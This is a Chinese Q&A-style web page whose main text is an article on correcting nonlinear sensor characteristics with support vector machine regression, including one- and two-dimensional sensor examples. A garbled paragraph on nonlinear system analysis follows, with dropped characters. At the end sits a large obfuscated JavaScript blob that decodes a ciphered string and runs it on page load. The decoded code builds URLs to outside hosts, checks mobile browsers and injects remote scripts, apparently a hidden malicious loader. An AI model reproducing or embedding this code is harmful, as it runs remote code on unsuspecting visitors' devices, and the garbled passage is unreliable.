推荐回答(2个)
现 代控制系统对传感器的准确度、稳定性和工作条件等方面提出了很高的要求。然而,从严格意义上来说,目前绝大多数传感器特性都不理想,其输入输出特性大多为 非线性关系。为此,人们通过一些方法来进行非线性补偿和修正。特别是近年来,随着神经网络的发展,有不少学者提出了基于神经网络进行非线性传感特性校正的 方法。这些方法一般是用一个多层的前馈神经网络去映射传感器特性曲线的反函数作为校正环节,算法相对简单,实现容易。
但是通过分析神经网络的基本工作原理,笔者认为该方法依然存在一些不足[1、6]:1)在训练过程中神经网络极容易陷入局部最小,而不能得到全局最小;2)神经网络过分依赖训练数据的质量和数量,但大多数情况下样本数据十分有限,由于噪声影响,存在数据不一致情况,对神经网络的训练结果影响较大;3)输入数据往往是高维的,而训练结果仅是输入空间的稀疏分布,所以大量的高维数据必然会大大增加算法的训练时间。
支持向量机SVM[4,5](Support Vector Machine)是基于统计学习理论的一种新的学习方法,最早由Vapnik教授及其合作者于上世纪90年 代中期提出。由于其优良特性,最近引起了许多研究者的兴趣。支持向量机主要用于模式识别,目前在该方面成功的范例较多;与模式识别相比,支持向量机用于函 数拟合的成功应用较少。和神经网络相比,支持向量机是基于统计学习理论的小样本学习方法,采用结构风险最小化原则,具有很好的泛化性能;而神经网络是基于 大样本的学习方法,采用经验风险最小化原则。
将支持向量机函数拟合技术应用于传感器非线性特性校正的研究刚起步,国内尚无先例。如何在传感器非线性特性校正领域充分发挥支持向量机函数拟合的技术优势,解决神经网络方法中的缺陷是一个值得研究的问题。
1支持向量机拟合基本理论
1.1线性函数拟合问题
与支持向量机的研究最初是针对模式识别中的线性可分问题[5]相似,先分析线性样本点的线性函数拟合问题,拟合函数以线性函数的特性出现,可用形式=ωTx+b表示。假设所有训练数据{xi,yi}能在精度ε下无误差地用线性函数拟合,即
统计学理论指出,在这一优化目标是最小化ωTω/2时可取得较好的推广能力。考虑到实际应用中允许拟合误差的情况,则支持向量机优化目标可以表示为[3]
式中c为平衡因子,为惩罚因子,惩罚函数L(·)通常采用如下的离散定义形式(如图1所示)
n,进一步采用对偶优化方法,最大化目标函数
小部分不为0,它们对应在不灵敏区边界上或外
式中,偏移量b可由支持向量(xi,yi)及精度ε求得,SVs表示支持向量集。
1.2非线性函数拟合问题
对于非线性函数拟合基本思想是:可以通过非线性变换x→φ(x)将原拟合问题映射到某个高维特征空间中,然后在该空间中进行线性拟合,即
在支持向量机中,引入核函数(Kernel function)来简化非线性逼近。在高维特征空间中,线性问题中的内积运算可用核函数来代替。核函数满足k(x,x′)=〈φ(x),φ(x′)〉,这样目标函数式(4)就变成了式(6)所示的形式:
2传感器非线性误差校正原理[6]
大多数传感系统都可用y=f(x),x∈(ζα,ζb)表示,其中y表示传感系统的输出,x表示传感系统的输入,ζα,ζb为输入信号的范围。y信号可经过电子设备进行测量,目的是根据测得的y信号求得未知的变量x,即表示为x=y-1(y)。在实际应用过程中,绝大多数传感器传递函数为非线性函数。
为了消除或补偿传感系统的非线性特性,可使其输出y通过一个补偿环节。该模型的特性函数为u=g(y),其中u为非线性补偿后的输出,它与输入信号x呈线性关系。很明显函数g(*)也是一个非线性函数,并使得补偿后的传感器具有理想特性。在实际应用中,非线性补偿函数g(*)的表达式难以准确求出,但可以通过建模来实现,补偿模型的建立就成了校正传感器非线性特性的关键。
笔者根据支持向量机的函数拟合能力,提出了基于支持向量机的传感器非线性特性校正方法。
3仿真与应用研究
该文使用支持向量机对两个非线性传感系统的非线性误差进行校正,取得了较满意的效果。
3.1一维传感器非线性校正
用实验法得出一组训练样本(见表1),在表1中x表示传感系统的输入量,其值由精度较高的设备产生,在这里可作为标准量,y值为传感系统的输出量。
设计支持向量机对该传感系统进行非线性校正,传感器输出信号y经过该SVM的处理相当于进行了一个逆传感模型,支持向量机的输出u作为非线性补偿后的输出,它与输入信号x的误差应更小。
由此可得到一组训练样本(yi,xi),其中yi表示支持向量机的输入,xi为拟合的目标。
设计支持向量机时,精度ε=0.02,核函数选用多项式k(xi,x)=(xi·x+1)6,传感器非线性校正曲线如图3所示,由此可见用该方法提高了传感器的精度。
3.2二维图像传感器非线性校正
有二维图像传感器,其校正前的输出如图4a所示,而实际像点应在栅格线的交叉点。从图4a不难看出,该传感器存在着严重的非线性,且这种非线性不能以解析式表达。
如式(1)所示,文中介绍的支持向量机每个学习样本的输入数据xi是一个多维向量,样本输出yi是一个数而非向量。待校正的二维图像传感器校正样本{(xa,xb),(ya,yb)}是二维输入二维输出的数据,因此,不能直接用支持向量机进行校正。
笔者设计两个SVM来解决该问题,一个SVMa用于校正a方向上的误差,其学习样本为{(xa,xb),ya};另一个SVMb用于校正b方向上的误差,其学习样本为{(xa,xb),yb}。两个SVM设ε=0.01,核函数均选用多项式k(xi,x)=(xi·x+1)4。
用SVMa和SVMb分别校正样本数据在a和b方向非线性误差,校正结果如图4b所示。
比较图4b与图4a,校正后的二维图像传感器的非线性已得到校正,精度令人满意。
4结束语
将SVM技术应用于传感器非线性特性校正的研究刚起步,国内尚无此 类文献。毕竟支持向量机理论和应用还是一个较新的领域,仍处于理论和实验研究 阶段。笔者认为支持向量机今后的研究应该集中在以下几个方面:①核函数的构造与选择; ②大样本条件下SVM算法研究;③惩罚函数的改进。
非线性系统析与设计 (1)相平面 相平面推广应用域析种图解析该通相平面绘制相轨迹曲线确定非线性微程同初始条件解运形式相平面仅适用于阶二阶系统 (2)描述函数 描述函数基于频域析非线性特性谐波线性化种图解析 描述函数于满足结构要求类非线性系统通谐波线性化非线性特性近似表示复变增益环节推广应用频率析非线性系统稳定性或自激振荡 (3)逆系统 逆系统运用内环非线性反馈控制构伪线性系统并基础设计外环控制网络该应用数工具直接研究非线性控制问题必求解非线性系统运程非线性系统控制研究发展向要分析多输入,多输出和非线性系统常用什么方法
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();